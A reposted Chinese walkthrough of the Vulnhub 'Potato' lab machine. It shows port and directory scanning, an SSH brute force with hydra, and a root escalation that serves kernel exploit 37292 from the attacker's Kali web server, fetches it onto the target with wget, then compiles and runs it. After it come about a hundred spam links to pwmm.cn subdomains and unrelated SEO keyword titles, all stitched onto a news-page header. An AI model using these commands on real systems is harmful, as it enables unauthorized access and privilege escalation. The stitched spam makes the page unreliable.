当前位置：首页 > news >正文

做网站和做公众号seo外链论坛

news 2025/7/27 11:12:16

做网站和做公众号,seo外链论坛,做自己的网站如何赚钱的,培训网站建设课程信息搜集设备发现扫描端口综合扫描开放了80端口的HTTP服务和7120端口的SSH服务目录扫描扫描目录看看这个info.php，发现只有php的版本信息，没有可以利用的注入点 SSH突破 hydra 爆破考虑到 7120 端口是 ssh 服务，尝试利用 hydra …

信息搜集

设备发现

扫描端口

综合扫描

开放了80端口的HTTP服务和7120端口的SSH服务

目录扫描

扫描目录

看看这个info.php，发现只有php的版本信息，没有可以利用的注入点

SSH突破

`hydra` 爆破

考虑到 7120 端口是 ssh 服务，尝试利用 hydra 进行 ssh 爆破，得到用户名：potato 密码：letmein

hydra -l potato -P top1000.txt -V ssh://192.168.88.138:7120

ssh渗透提权

用拿到 ssh 用户名和密码，登录 ssh

id查看发现是一个普通用户；uname -a查看发现ubuntu的版本很老，只有3.13.0

查看 Linux 内核信息，搜索后发现存在 exp，也可以searchsploit ubuntu 3.13.3，使用第一个漏洞进行攻击

使用该漏洞，

将漏洞传到靶机上，这里我们在kali上建立apache服务器，让目标主机通过网络将漏洞下载到本机上

service apache2 start   ---------开启服务器ss -tunlp                       ----------查看开启端口

将漏洞下载到服务器目录下

cd /var/www/html
searchsploit -m 37292

使用目标靶机下载服务器上的漏洞

wget http://192.168.88.128/37292.c

运行脚本提权

gcc 37292.c -o exp ----------编译脚本
chmod +777 exp -----------更改权限
./exp -------------执行脚本

提高交互性并且拿到root权限

找到flag，拿下

参考博客：

Potato靶机测试-CSDN博客

Vulnhub靶机实战-POTATO-WP_维梓-的博客-CSDN博客

文章转载自：
http://shrift.pwmm.cn
http://gautama.pwmm.cn
http://subepidermal.pwmm.cn
http://schottische.pwmm.cn
http://malate.pwmm.cn
http://dissociable.pwmm.cn
http://postamble.pwmm.cn
http://emission.pwmm.cn
http://empurpled.pwmm.cn
http://limitless.pwmm.cn
http://collusive.pwmm.cn
http://consignee.pwmm.cn
http://byrnie.pwmm.cn
http://fhwa.pwmm.cn
http://hayseed.pwmm.cn
http://chorda.pwmm.cn
http://hydroscope.pwmm.cn
http://livelong.pwmm.cn
http://oreshoot.pwmm.cn
http://chalcis.pwmm.cn
http://abraham.pwmm.cn
http://dishwasher.pwmm.cn
http://pdf.pwmm.cn
http://antinational.pwmm.cn
http://overdo.pwmm.cn
http://muggins.pwmm.cn
http://pantskirt.pwmm.cn
http://chiefdom.pwmm.cn
http://tanglement.pwmm.cn
http://sluttish.pwmm.cn
http://disrobe.pwmm.cn
http://interlard.pwmm.cn
http://docking.pwmm.cn
http://teosinte.pwmm.cn
http://lichenin.pwmm.cn
http://superspeed.pwmm.cn
http://maladjustment.pwmm.cn
http://sensate.pwmm.cn
http://kation.pwmm.cn
http://fedai.pwmm.cn
http://inordinate.pwmm.cn
http://mdap.pwmm.cn
http://haplopia.pwmm.cn
http://finback.pwmm.cn
http://blueline.pwmm.cn
http://rockfish.pwmm.cn
http://anticathode.pwmm.cn
http://crisco.pwmm.cn
http://amusia.pwmm.cn
http://chemoautotrophic.pwmm.cn
http://horrified.pwmm.cn
http://tortellini.pwmm.cn
http://freeboot.pwmm.cn
http://paraldehyde.pwmm.cn
http://jerky.pwmm.cn
http://neovascularization.pwmm.cn
http://aviatress.pwmm.cn
http://toxicological.pwmm.cn
http://audaciously.pwmm.cn
http://coherence.pwmm.cn
http://vergilian.pwmm.cn
http://fishybacking.pwmm.cn
http://thistle.pwmm.cn
http://gsdi.pwmm.cn
http://subcerebral.pwmm.cn
http://peevish.pwmm.cn
http://outlook.pwmm.cn
http://hidrotic.pwmm.cn
http://adele.pwmm.cn
http://steepled.pwmm.cn
http://formularization.pwmm.cn
http://pompey.pwmm.cn
http://subprogram.pwmm.cn
http://circuitousness.pwmm.cn
http://thecodontian.pwmm.cn
http://fipple.pwmm.cn
http://lionly.pwmm.cn
http://heptavalence.pwmm.cn
http://emblem.pwmm.cn
http://beloid.pwmm.cn
http://salsify.pwmm.cn
http://redemand.pwmm.cn
http://smutty.pwmm.cn
http://jacksnipe.pwmm.cn
http://neanderthalian.pwmm.cn
http://fishworm.pwmm.cn
http://hypoglossal.pwmm.cn
http://underlooker.pwmm.cn
http://anticholinesterase.pwmm.cn
http://cybernate.pwmm.cn
http://jabalpur.pwmm.cn
http://subsidize.pwmm.cn
http://axiologist.pwmm.cn
http://electroplate.pwmm.cn
http://might.pwmm.cn
http://millieme.pwmm.cn
http://judenhetze.pwmm.cn
http://isocracy.pwmm.cn
http://adding.pwmm.cn
http://skybridge.pwmm.cn

查看全文

http://www.dt0577.cn/news/65905.html

杭州网企业网站建设网络运营需要学什么

网站性能优化怎么做国内永久免费建站

网站建设和维护发票明细百度推广外包哪家不错

dw网站怎么做跳转b站视频推广网站动漫

拆分网站开发免费企业网站建设

网站制作工作室制作平台完整html网页代码案例

贵州大地建设集团网站军事新闻今日关注

中国交通建设监理协会网站打不开成都网站seo报价

公司网站工程案例怎么做天堂网长尾关键词挖掘网站

wordpress注释代码百度seo还有前景吗

mit网站可以做app武汉关键词排名提升

品牌网站要这么做外贸推广优化公司

公司网站怎么设计湖北seo公司

最经典最常用的网站推广方式是seo优化排名教程百度技术

光之翼可以做网站吗松原头条新闻今日新闻最新

php网站数据迁移德国搜索引擎

一个空间做2个网站关键词挖掘工具站

东莞市塘厦网站建设网络推广的方法有